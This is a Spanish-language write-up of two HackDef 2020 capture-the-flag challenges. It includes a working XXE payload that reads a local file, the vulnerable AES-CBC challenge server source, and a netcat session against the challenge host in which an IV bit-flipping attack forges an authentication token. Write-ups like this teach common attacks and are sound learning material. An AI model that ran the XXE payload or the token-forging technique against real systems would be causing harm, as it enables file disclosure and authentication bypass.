Excelente participación del equipo en HackDef 2020 solo saque 2 flags:

Web

Exif 300 puntos

En este reto el sitio web permite subir un XML y procesaba la información regresando un mensaje de que se habia subido exitosamente .

Haciendo un poco de cambios y buscando en el post pude realizar el ataque con el siguiente payload y asi obtener la flag:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///app/app/flag.txt" >]>
<directorio>
<contacto>
<nombre>&xxe;</nombre>
<telefono>mypass</telefono>
</contacto>
</directorio>

Crypto

Flip33r 300 puntos

Me costo trabajo entender este reto sin embargo gracias al post y 3 horas de lectura pude comprender, el codigo es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import socketserver
import random
import base64
import string
import secrets
import re
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

flipper = '''
DEVELOPED BY FL1PP3R THE DOLPHIN
_
_.-~ )
_..--~~~~,' ,-/ _
.-'. . . .' ,-',' ,' )
,'. . . _ ,--~,-'__..-' ,'
,'. . . (@)' ---~~~~ ,'
/. . . . '~~ ,-'
/. . . . . ,-'
; . . . . - . ,'
: . . . . _ /
. . . . . `-.:
. . . ./ - . )
. . . | _____..---.._/ ____
~---~~~~----~~~~ ~~

'''

with open("flag.txt") as f:
flag = f.readline()

def gen_random_key(N):
return ''.join(secrets.choice(string.ascii_uppercase + string.digits) for _ in range(N))

def delfin_encrypt(iv,key,msg):
cipher = AES.new(bytes(key,"utf-8"),AES.MODE_CBC,bytes(iv,"utf-8"))
los_bytes = cipher.encrypt(pad(bytes(msg,"utf-8"),AES.block_size,style="pkcs7"))
return base64.b64encode(los_bytes)

def delfin_decrypt(iv,key,msg):
try:
ciphertext = base64.b64decode(msg)
cipher = AES.new(bytes(key,"utf-8"),AES.MODE_CBC,iv)
el_string = unpad(cipher.decrypt(ciphertext),AES.block_size,style="pkcs7")
return str(el_string,"ascii")
except:
return "Padding Incorrecto"

class Dolphin(socketserver.BaseRequestHandler):
def handle(self):
key = gen_random_key(16)
iv = "\x41"*16
self.request.send(bytes(flipper,"utf-8"))
mensaje = "flipid=" + str(random.choice(range(100)) % 5)
opcion = 0
self.request.send(bytes("Bienvenido humano, tu token de autenticacion es: %s para el %s " % (str(delfin_encrypt(iv,key,mensaje),"utf-8"),mensaje),"utf-8"))
while True:
self.request.send(b"\r\n***Si tienes un token previo usalo para autenticarte a continuacion.\r\n1) Ingresar\r\n2) Salir\r\n")
self.request.send(b"Eleccion: ")
try:
opcion = int(self.request.recv(1024).strip())
except:
self.request.send(b"ERROR, opcion incorrecta")
pass
if opcion == 1:
while True:
self.request.send(b"Ingresa tu token: ")
token = self.request.recv(1024).strip()
self.request.send(b"Ingresa la llave de inicializacion: ")
llave = self.request.recv(1024).strip()
if len(llave) < 16:
self.request.send(b"\r\nLa llave de inicializacion no cumple con el tamano requerido\r\n")
id = delfin_decrypt(llave[:16],key,token)
if "flipid=6" in id:
self.request.send(b"\r\nFelicidades: %b" % bytes(flag,"utf-8"))
self.request.send(b"\r\n")
break
else:
try:
self.request.send(b"\r\nEl token pertenece al usuario: %s\r\n" % bytes(id,"utf-8"))
except:
self.request.send(b"\r\nHay un problema con tu token\\r\n")
self.request.send(b"Quieres seguir intentando? (S/N): ")
s = str(self.request.recv(1024).strip(),"utf-8")
if s is "S":
pass
elif s is "N":
break
else:
break
elif opcion == 2:
self.request.send(b"Adios...")
break

if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 3166
server = socketserver.ThreadingTCPServer((HOST, PORT), Dolphin)
server.allow_reuse_address = True
server.serve_forever()

El reto pregunta que ¿cual es la debilidad?, para empezar el reto genera tokens aleatoriamente y utiliza AES en modo CBC es decir un modo de cifrado a bloques, normalmente es cifrado necesita un vector inicialización (iv) un mensaje(texto a cifrar) y una llave (en este caso gen_random_key()), para empezar cada que se inicia el programa obtienes 3 cosas:

1
2
3
Token: este es el mensaje cifrado con AES.
Mensaje: este es el mensaje en texto plano.
iv: es una cadena de 16 letras "A"

Lo unico que nos falta es la llave….. acorde al post mencionado anteriormente la debilidad de CBC es que utiliza el bloque cifrado para cifrar el texto plano del siguiente bloque y viceversa para el descifrado. Que nos quiere decir esto?, que si conocemos el bloque inicializador podemos hacer XOR en la posición del iv poder realizar lo que queramos es decir nuestra meta es que:

flipid=6 -> para que nos de la flag.

Probando un poco me di cuenta que siempre nos regresaba flipid=2 o flipid=3, ya que se genera aleatoriamente siempre y cuando 100 sea modulo de 5, entonces el 6 tendria que cambiarse a mano (que que un bruteforce no serviria).

El numero que se tiene que cambiar esta en la octava posición, eso quiere decir que un XOR de la octava A de iv en la nos dara un numero diferente…..

Ahora hice un XOR de 0x41 con 0x01 para ver si cambiaba y me dio el caracter @ sin embargo el id bajo, esto quiere decir que si hago un XORcon los numeros que faltan que en este caso eran 4 por que el programa me daba el flipid=2, entonces al hacer un XOR me sale la letra E entonces:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(base) mac@x86_64-apple-darwin13 hdef % nc 3.19.72.219 3166

DEVELOPED BY FL1PP3R THE DOLPHIN
_
_.-~ )
_..--~~~~,' ,-/ _
.-'. . . .' ,-',' ,' )
,'. . . _ ,--~,-'__..-' ,'
,'. . . (@)' ---~~~~ ,'
/. . . . '~~ ,-'
/. . . . . ,-'
; . . . . - . ,'
: . . . . _ /
. . . . . `-.:
. . . ./ - . )
. . . | _____..---.._/ ____
~---~~~~----~~~~ ~~

Bienvenido humano, tu token de autenticacion es: klO2bKJbhSqJrFD67mWJaA== para el flipid=2
***Si tienes un token previo usalo para autenticarte a continuacion.
1) Ingresar
2) Salir
Eleccion: 1
Ingresa tu token: klO2bKJbhSqJrFD67mWJaA==
Ingresa la llave de inicializacion: AAAAAAA@AAAAAAAA

El token pertenece al usuario: flipid=3
Quieres seguir intentando? (S/N): S

Ingresa tu token: klO2bKJbhSqJrFD67mWJaA==
Ingresa la llave de inicializacion: AAAAAAAEAAAAAAAA

Felicidades: hackdef{_nunC4_dej3s_3l_c0ntR0l_d3l_IV_a_uN_usuAr1o_qU3_3nt1end3_3L_m0d0_d3_op3r4ci0n_CBC_}